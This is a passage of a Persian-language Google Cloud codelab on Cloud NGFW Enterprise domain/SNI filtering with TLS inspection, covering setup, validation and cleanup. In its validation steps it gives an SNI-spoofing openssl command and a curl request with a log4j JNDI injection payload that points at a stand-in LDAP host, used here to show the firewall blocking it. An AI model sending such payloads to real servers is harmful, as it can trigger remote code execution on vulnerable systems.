MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

اینجاست که بازرسی TLS می‌تواند به بستن این خلأ کمک کند.

اتصال را ببندید و از ماشین مجازی خارج شوید: 

"ctrl" + c
exit

۱۸. [اختیاری] بازرسی TLS

پیکربندی منابع TLS

این بخش اختیاری است زیرا فیلترینگ دامنه/SNI بدون نیاز به بازرسی TLS کار می‌کند. با این حال، اگر قصد دارید از پیشگیری از تهدید استفاده کنید، یا در آینده که فیلترینگ کامل URL در دسترس قرار گرفت، بتوانید قوانین مبتنی بر مسیر را در پروفایل امنیتی ایجاد کنید، ممکن است بخواهید بازرسی TLS داشته باشید.

علاوه بر این، بازرسی TLS یک لایه اضافی از بررسی‌ها را فراهم می‌کند زیرا احتمال جعل SNI وجود دارد.

یک مخزن CA ایجاد کنید. این منبع برای نگهداری گواهی Root CA که برای NGFW Enterprise تولید می‌کنیم، استفاده خواهد شد. 

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

ایجاد گواهی‌نامه‌ی ریشه (Root CA). این گواهی‌نامه‌ی CA است که برای امضای گواهی‌نامه‌های اضافی برای درخواست‌ها از طریق NGFW Enterprise استفاده خواهد شد. 

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

اگر با پیام زیر مواجه شدید، به y پاسخ دهید: 

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

یک حساب کاربری سرویس ایجاد کنید. این حساب کاربری برای درخواست گواهینامه برای NGFW Enterprise استفاده خواهد شد: 

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

مجوزهای IAM را برای حساب سرویس تنظیم کنید: 

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

فایل YAML مربوط به TLS Policy را ایجاد کنید. این فایل حاوی اطلاعاتی در مورد منابع خاص خواهد بود: 

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

سیاست بازرسی TLS را وارد کنید: 

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

برای فعال کردن TLS، ارتباط نقطه پایانی را به‌روزرسانی کنید: 

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

گواهی CA را دریافت کرده و آن را به مخزن CA کلاینت اضافه کنید. این برای اعتماد لازم است زیرا NGFW Enterprise پروتکل TLS را برقرار کرده و گواهی امضا شده را از مخزن CA ارائه می‌دهد: 

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

انتقال گواهی CA به کلاینت: 

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

از طریق SSH به ماشین مجازی متصل شوید، گواهی CA را به /usr/local/share/ca-certificates منتقل کنید و حافظه CA را به‌روزرسانی کنید:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

از ماشین مجازی خارج شوید و روی cloudshell ادامه دهید.

به‌روزرسانی قانون فایروال برای بازرسی TLS 

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

اعتبارسنجی قوانین با بازرسی TLS

از طریق IAP یک اتصال SSH به ماشین مجازی برقرار کنید: 

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

درخواست‌های نمونه را به مقصدهای مجاز ارسال کنید: 

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

این موارد باید بدون مشکل تایید شوند. اگر بخواهیم گواهی را بررسی کنیم و تأیید کنیم که آیا گواهی توسط NGFW امضا شده است یا خیر، می‌توانیم دستور زیر را اجرا کنیم: 

curl https://ifconfig.me --max-time 2 -vv

خروجی مورد انتظار: 

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

در خروجی بالا، می‌توانیم ببینیم که درخواست توسط NGFW Enterprise در حال بررسی TLS است زیرا گواهی دریافتی توسط Root CA که قبلاً ایجاد کردیم (فیلد صادرکننده) امضا شده است.

اعتبارسنجی قوانینی که سعی در جعل SNI با بازرسی TLS دارند

حالا که بازرسی TLS فعال شده است، بیایید رفتار را اعتبارسنجی کنیم.

دستور openssl زیر را برای جعل SNI اجرا کنید: 

openssl s_client -connect www.google.com:443 -servername ifconfig.me

خروجی مورد انتظار: 

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

در خروجی بالا، می‌بینیم که یک درخواست جعل SNI که قبلاً فعال بود، اکنون با فعال شدن بازرسی TLS با شکست مواجه می‌شود. دلیل این امر آن است که وقتی بازرسی TLS فعال می‌شود، NGFW SNI را با نام جایگزین موضوع (SAN) گواهی سرور بررسی می‌کند. اگر مطابقت نداشته باشد، دست‌دهی TLS با شکست مواجه می‌شود.

اعتبارسنجی دامنه/SNI و پیشگیری از تهدید با بازرسی TLS

اکنون تست قبلی را برای یک درخواست مخرب (log4j) به یک دامنه مجاز، دوباره اجرا خواهیم کرد.

نمونه‌ی مخرب (log4j) را به یک دامنه/مقصد SNI مجاز ارسال کنید: 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

خروجی مورد انتظار: 

000

این کد پاسخ ۰۰۰ به این دلیل است که اتصال توسط NGFW از زمان شناسایی تهدید خاتمه یافته است. می‌توانیم خروجی‌های مفصل‌تری را برای تأیید جمع‌آوری کنیم. 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

خروجی مورد انتظار: 

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

از بالا، می‌بینیم که NGFW بازرسی TLS را انجام داده و درخواست مخرب را مسدود کرده است.

از ماشین مجازی خارج شوید: 

exit

برای مراحل پاکسازی به بخش بعدی بروید.

۱۹. مراحل پاکسازی

تمیز کردن تنظیمات پایه

موارد را حذف کنید: 

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

خط‌مشی شبکه و ارتباط فایروال ابری را حذف کنید: 

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

روتر ابری و NAT ابری را حذف کنید: 

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

حذف آدرس‌های IP رزرو شده: 

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

پاکسازی SPG و ارتباطات فایروال ابری

گروه پروفایل امنیتی (Security Profile Group) و پروفایل فیلترینگ تهدید و URL (Threat & URL Filtering Profile) را به ترتیب زیر حذف کنید: 

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

ارتباط نقطه پایانی Cloud Firewall را حذف کنید: 

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

حذف نقطه پایانی فایروال ابری، که می‌تواند حدود ۲۰ دقیقه طول بکشد: 

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

در صورت تمایل، با اجرای دستور زیر تأیید کنید که نقطه پایانی Cloud NGFW حذف شده است: 

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

وضعیت نقطه پایانی باید نشان دهد: 

STATE: DELETING

پس از تکمیل، نقطه پایانی دیگر فهرست نخواهد شد.

[اختیاری] پاکسازی TLS

اگر تنظیمات اختیاری بازرسی TLS را انجام داده‌اید، دستورات زیر را برای پاکسازی منابع TLS اجرا کنید.

حذف خط‌مشی TLS: 

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

غیرفعال کردن و حذف Root CA و CA Pool: 

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

پاکسازی زیرشبکه و VPC

در نهایت، زیرشبکه و شبکه VPC را حذف کنید: 

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

۲۰. نتیجه‌گیری و ملاحظات

این آزمایش بسیار ساده است و فقط با یک ماشین مجازی که به اینترنت متصل می‌شود، آزمایش می‌شود. در سناریوهای واقعی، VPC می‌تواند شامل چندین منبع باشد و ترافیک در همه جهات (N/S و E/W) حرکت کند. از آنجایی که قانون فایروال برای فیلتر کردن دامنه/SNI، EGRESS 0.0.0.0/0 است، این یک "catch all" است و باید به عنوان قانون با کمترین اولویت در سیاست شبکه پیکربندی شود - در غیر این صورت ترافیک به طور غیرمنتظره‌ای مطابقت پیدا می‌کند و بر اساس قانون پیش‌فرض urlFiltering مجاز/رد می‌شود.

علاوه بر این، استفاده از Network Types را برای محدود کردن دامنه در نظر بگیرید. این کار برای جلوگیری از تطبیق ترافیک E/W با قانون است. به عنوان یک جایگزین، یک قانون allow با اولویت بالاتر برای ترافیک E/W ایجاد کنید.

لطفاً سند بهترین شیوه‌ها که فیلترینگ دامنه/SNI را پوشش می‌دهد، با جزئیات بیشتر بررسی کنید.

۲۱. تبریک می‌گویم!

تبریک می‌گویم، شما با موفقیت فیلترینگ Cloud NGFW Enterprise برای دامنه و SNI را با بازرسی اختیاری TLS به پایان رساندید!